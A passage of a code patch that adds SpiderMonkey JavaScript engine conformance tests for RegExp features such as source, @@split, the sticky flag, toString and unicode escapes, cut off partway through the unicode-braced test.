index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/shell.js
diff --git a/js/src/tests/ecma_6/RegExp/source.js b/js/src/tests/ecma_6/RegExp/source.js
new file mode 100644
index 000000000..354a9d19d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/source.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.source";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.source, "(?:)");
+assertEq(/foo/.source, "foo");
+assertEq(/foo/iymg.source, "foo");
+assertEq(/\//.source, "\\/");
+assertEq(/\n\r/.source, "\\n\\r");
+assertEq(/\u2028\u2029/.source, "\\u2028\\u2029");
+assertEq(RegExp("").source, "(?:)");
+assertEq(RegExp("", "mygi").source, "(?:)");
+assertEq(RegExp("/").source, "\\/");
+assertEq(RegExp("\n\r").source, "\\n\\r");
+assertEq(RegExp("\u2028\u2029").source, "\\u2028\\u2029");
+
+assertThrowsInstanceOf(() => genericSource(), TypeError);
+assertThrowsInstanceOf(() => genericSource(1), TypeError);
+assertThrowsInstanceOf(() => genericSource(""), TypeError);
+assertThrowsInstanceOf(() => genericSource({}), TypeError);
+assertThrowsInstanceOf(() => genericSource(new Proxy(/foo/, {get(){ return true; }})), TypeError);
+
+function genericSource(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-deleted-flags.js b/js/src/tests/ecma_6/RegExp/split-deleted-flags.js
new file mode 100644
index 000000000..d2ccc852d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-deleted-flags.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1322319;
+var summary = "RegExp.prototype.split should throw if RegRxp.prototype.flags is deleted."
+
+print(BUGNUMBER + ": " + summary);
+
+delete RegExp.prototype.flags;
+
+assertThrowsInstanceOf(() => "aaaaa".split(/a/), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-flags-on-obj.js b/js/src/tests/ecma_6/RegExp/split-flags-on-obj.js
new file mode 100644
index 000000000..8c68efed5
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-flags-on-obj.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 0;
+var summary = "RegExp.prototype.split should reflect the change to Object.prototype.flags.";
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(Object.prototype, "flags", Object.getOwnPropertyDescriptor(RegExp.prototype, "flags"));
+delete RegExp.prototype.flags;
+
+let re = /a/i;
+let a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2", "3", "4", "5"]);
+
+delete Object.prototype.flags;
+
+Object.prototype.flags = "";
+
+a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2A3", "4A5"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-invalid-lastIndex.js b/js/src/tests/ecma_6/RegExp/split-invalid-lastIndex.js
new file mode 100644
index 000000000..3def559ad
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-invalid-lastIndex.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1263851;
+var summary = "RegExp.prototype[@@split] should handle if lastIndex is out of bound.";
+
+print(BUGNUMBER + ": " + summary);
+
+var myRegExp = {
+ get constructor() {
+ return {
+ get [Symbol.species]() {
+ return function() {
+ return {
+ get lastIndex() {
+ return 9;
+ },
+ set lastIndex(v) {},
+ exec() {
+ return [];
+ }
+ };
+ };
+ }
+ };
+ }
+};
+var result = RegExp.prototype[Symbol.split].call(myRegExp, "abcde");;
+assertEq(result.length, 2);
+assertEq(result[0], "");
+assertEq(result[1], "");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-limit.js b/js/src/tests/ecma_6/RegExp/split-limit.js
new file mode 100644
index 000000000..5fa194b90
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-limit.js
@@ -0,0 +1,14 @@
+var BUGNUMBER = 1287525;
+var summary = "RegExp.prototype[@@split] shouldn't use optimized path if limit is not number.";
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = /a/;
+var r = rx[Symbol.split]("abba", {valueOf() {
+ RegExp.prototype.exec = () => null;
+ return 100;
+}});
+assertEq(r.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-obj.js b/js/src/tests/ecma_6/RegExp/split-obj.js
new file mode 100644
index 000000000..75c09f38d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-obj.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check if this value is RegExp.";
+
+print(BUGNUMBER + ": " + summary);
+
+var obj = { flags: "", toString: () => "-" };
+assertDeepEq(RegExp.prototype[Symbol.split].call(obj, "a-b-c"),
+ ["a", "b", "c"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_6/RegExp/split-prop-access.js b/js/src/tests/ecma_6/RegExp/split-prop-access.js
new file mode 100644
index 000000000..73c5bebb3
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-prop-access.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1287525;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var accessed = false;
+
+var rx = /a/;
+Object.defineProperty(rx, Symbol.match, {
+ get() {
+ accessed = true;
+ }
+});
+rx[Symbol.split]("abba");
+
+assertEq(accessed, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-this.js b/js/src/tests/ecma_6/RegExp/split-this.js
new file mode 100644
index 000000000..ece29fe8a
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.split].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split-trace.js b/js/src/tests/ecma_6/RegExp/split-trace.js
new file mode 100644
index 000000000..ce6e410d9
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split-trace.js
@@ -0,0 +1,229 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@split] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var flags;
+var expectedFlags;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get constructor() {
+ log += "get:constructor,";
+ return {
+ get [Symbol.species]() {
+ log += "get:species,";
+ return function(pattern, flags) {
+ assertEq(pattern, myRegExp);
+ assertEq(flags, expectedFlags);
+ log += "call:constructor,";
+ return {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+ };
+ };
+ }
+ };
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcde";
+ flags = "";
+ expectedFlags = "y";
+ arraySetterObserved = false;
+}
+
+// Trace match and no match.
+reset();
+execResult = [ null, P(["b"]), null, P(["d"]), null ];
+lastIndexResult = [ , , 2, , 4, , ];
+lastIndexExpected = [ 0, 1, 2, 3, 4, ];
+var ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","c","e"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace non-empty flags, empty target, no match.
+reset();
+flags = "iy";
+expectedFlags = "iy";
+target = "";
+execResult = [ null ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[""]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace empty target, match.
+reset();
+target = "";
+execResult = [ P([""]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace captures.
+reset();
+target = "abc";
+execResult = [ null, P(["b", "X", "YZ"]), null ];
+lastIndexResult = [ , , 2, , ];
+lastIndexExpected = [ 0, 1, 2, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","X","YZ","c"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1],get:result[2]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+execResult = [ null, null, null, null ];
+lastIndexResult = [ , , , , , ];
+lastIndexExpected = [ 0, 1, 3, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-\uD83D\uDC38\uDC38\uD83D"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode, match, same position and different position.
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+var E = P(["", "X"]);
+execResult = [ E, E, E, E, E, E, E ];
+lastIndexResult = [ , 0, 1, 1, 3, 3, 4, 4 ];
+lastIndexExpected = [ 0, 1, 1, 3, 3, 4, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-","X","\uD83D\uDC38","X","\uDC38","X","\uD83D"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex,");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/split.js b/js/src/tests/ecma_6/RegExp/split.js
new file mode 100644
index 000000000..d7e28d791
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/split.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@split].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.split].name, "[Symbol.split]");
+assertEq(RegExp.prototype[Symbol.split].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.split);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /b/;
+var v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cABC"]`);
+
+re = /d/;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["abcAbcABC"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cA","C"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC", 2);
+assertEq(JSON.stringify(v), `["a","cA"]`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/sticky.js b/js/src/tests/ecma_6/RegExp/sticky.js
new file mode 100644
index 000000000..13a6debe9
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/sticky.js
@@ -0,0 +1,126 @@
+var BUGNUMBER = 773687;
+var summary = 'sticky flag should not break assertion behavior.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, text, expectations) {
+ // Sanity check for test data itself.
+ assertEq(expectations.length, text.length + 1);
+
+ for (var i = 0; i < expectations.length; i++) {
+ var result = expectations[i];
+
+ re.lastIndex = i;
+ var match = re.exec(text);
+ if (result === null) {
+ assertEq(re.lastIndex, 0);
+ assertEq(match, null);
+ } else {
+ assertEq(re.lastIndex, result.lastIndex);
+ assertEq(match !== null, true);
+ assertEq(match.length, result.matches.length);
+ for (var j = 0; j < result.matches.length; j++)
+ assertEq(match[j], result.matches[j]);
+ assertEq(match.index, result.index);
+ }
+ }
+}
+
+// simple text
+test(/bc/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+// complex pattern
+test(/bc|c|d/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ { lastIndex: 3, matches: ["c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d"], index: 5 },
+ null,
+]);
+
+test(/.*(bc|c|d)/y, "abcabd", [
+ { lastIndex: 6, matches: ["abcabd", "d"], index: 0 },
+ { lastIndex: 6, matches: ["bcabd", "d"], index: 1 },
+ { lastIndex: 6, matches: ["cabd", "d"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/.*?(bc|c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "bc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/(bc|.*c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "abc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+// ^ assertions
+test(/^/y, "abcabc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+test(/^a/my, "abc\nabc", [
+ { lastIndex: 1, matches: ["a"], index: 0 },
+ null,
+ null,
+ null,
+ { lastIndex: 5, matches: ["a"], index: 4 },
+ null,
+ null,
+ null,
+]);
+
+// \b assertions
+test(/\b/y, "abc bc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ { lastIndex: 3, matches: [""], index: 3 },
+ { lastIndex: 4, matches: [""], index: 4 },
+ null,
+ { lastIndex: 6, matches: [""], index: 6 },
+]);
+
+// \B assertions
+test(/\B/y, "abc bc", [
+ null,
+ { lastIndex: 1, matches: [""], index: 1 },
+ { lastIndex: 2, matches: [""], index: 2 },
+ null,
+ null,
+ { lastIndex: 5, matches: [""], index: 5 },
+ null,
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/test-trailing.js b/js/src/tests/ecma_6/RegExp/test-trailing.js
new file mode 100644
index 000000000..7cb910ee6
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/test-trailing.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1304737;
+var summary = "Trailing .* should not be ignored on matchOnly match.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(r, lastIndexIsZero) {
+ r.lastIndex = 0;
+ r.test("foo");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ r.lastIndex = 0;
+ r.test("foo\nbar");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ var input = "foo" + ".bar".repeat(20000);
+ r.lastIndex = 0;
+ r.test(input);
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+
+ r.lastIndex = 0;
+ r.test(input + "\nbaz");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+}
+
+test(/f.*/, true);
+test(/f.*/g, false);
+test(/f.*/y, false);
+test(/f.*/gy, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/toString.js b/js/src/tests/ecma_6/RegExp/toString.js
new file mode 100644
index 000000000..5ffbeed33
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/toString.js
@@ -0,0 +1,42 @@
+var BUGNUMBER = 1079919;
+var summary = "Make RegExp.prototype.toString to be a generic function.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.toString(), "/(?:)/");
+assertEq(/foo/.toString(), "/foo/");
+assertEq(/foo/i.toString(), "/foo/i");
+assertEq(/foo/gimy.toString(), "/foo/gimy");
+assertEq(/foo/igym.toString(), "/foo/gimy");
+assertEq(/\n\r/.toString(), "/\\n\\r/");
+assertEq(/\u2028\u2029/.toString(), "/\\u2028\\u2029/");
+assertEq(/\//.toString(), "/\\//");
+assertEq(RegExp().toString(), "/(?:)/");
+assertEq(RegExp("", "gimy").toString(), "/(?:)/gimy");
+assertEq(RegExp("\n\r").toString(), "/\\n\\r/");
+assertEq(RegExp("\u2028\u2029").toString(), "/\\u2028\\u2029/");
+assertEq(RegExp("/").toString(), "/\\//");
+
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(1), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(""), TypeError);
+assertEq(RegExp.prototype.toString.call({}), "/undefined/undefined");
+assertEq(RegExp.prototype.toString.call({ source:"foo", flags:"bar" }), "/foo/bar");
+
+var a = [];
+var p = new Proxy({}, {
+ get(that, name) {
+ a.push(name);
+ return {
+ toString() {
+ a.push(name + "-tostring");
+ return name;
+ }
+ };
+ }
+});
+assertEq(RegExp.prototype.toString.call(p), "/source/flags");
+assertEq(a.join(","), "source,source-tostring,flags,flags-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-back-reference.js b/js/src/tests/ecma_6/RegExp/unicode-back-reference.js
new file mode 100644
index 000000000..2a65432a1
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-back-reference.js
@@ -0,0 +1,39 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- back reference should not match lead surrogate that has corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+// The last character of back reference is not a surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uDC00"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uD834"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarAA"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA"),
+ ["fooAbarA", "A"]);
+
+// The last character of back reference is a lead surrogate.
+assertEq(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uDC00"), null);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834A"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+
+// The last character of back reference is a trail surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uD834"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00A"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+
+// Pattern should not match to surrogate pair partially.
+assertEq(/^(.+)\1$/u.exec("\uDC00foobar\uD834\uDC00foobar\uD834"), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-braced.js b/js/src/tests/ecma_6/RegExp/unicode-braced.js
new file mode 100644
index 000000000..97df7acab
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-braced.js
@@ -0,0 +1,166 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\u{41}/u.exec("ABC"),
+ ["A"]);
+assertEqArray(/\u{41}/.exec("ABC" + "u".repeat(41)),
+ ["u".repeat(41)]);
+
+assertEqArray(/\u{4A}/u.exec("JKL"),
+ ["J"]);
+assertEqArray(/\u{4A}/.exec("JKLu{4A}"),
+ ["u{4A}"]);
+
+assertEqArray(/\u{1F438}/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}/.exec("u{1F438}"),
+ ["u{1F438}"]);
+
+assertEqArray(/\u{0}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{10FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/\u{10ffff}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/\u{0000000000000000000000}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{000000000000000010FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{0}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("\\u{41}", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("\\u{1F438}", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{10FFFF}", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("\\u{0000000000000000}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== ? ====
+
+assertEqArray(/\u{1F438}?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}?/u.exec("\uD83D"),
+ [""]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec(""),
+ [""]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\uD83D"),
+ [""]);
+
+// ==== + ====
+
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\u{1F438}+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\u{1F438}+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\u{1F438}+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== * ====
+
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\u{1F438}*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\u{D83D}/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\u{D83D}/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{DC38}/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\u{DC38}/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\u{DC38}/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\u{DC38}/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\u{DC38}/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\u{DC38}/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u{-1}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{0.0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{G}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{00110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000000000000000000000000000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{ FFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFF }/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FF FF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{F F F F}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000001}/u`), SyntaxError);
+
+// surrogate pair with braced
+assertEq(/\u{D83D}\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+assertEq(/\uD83D\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
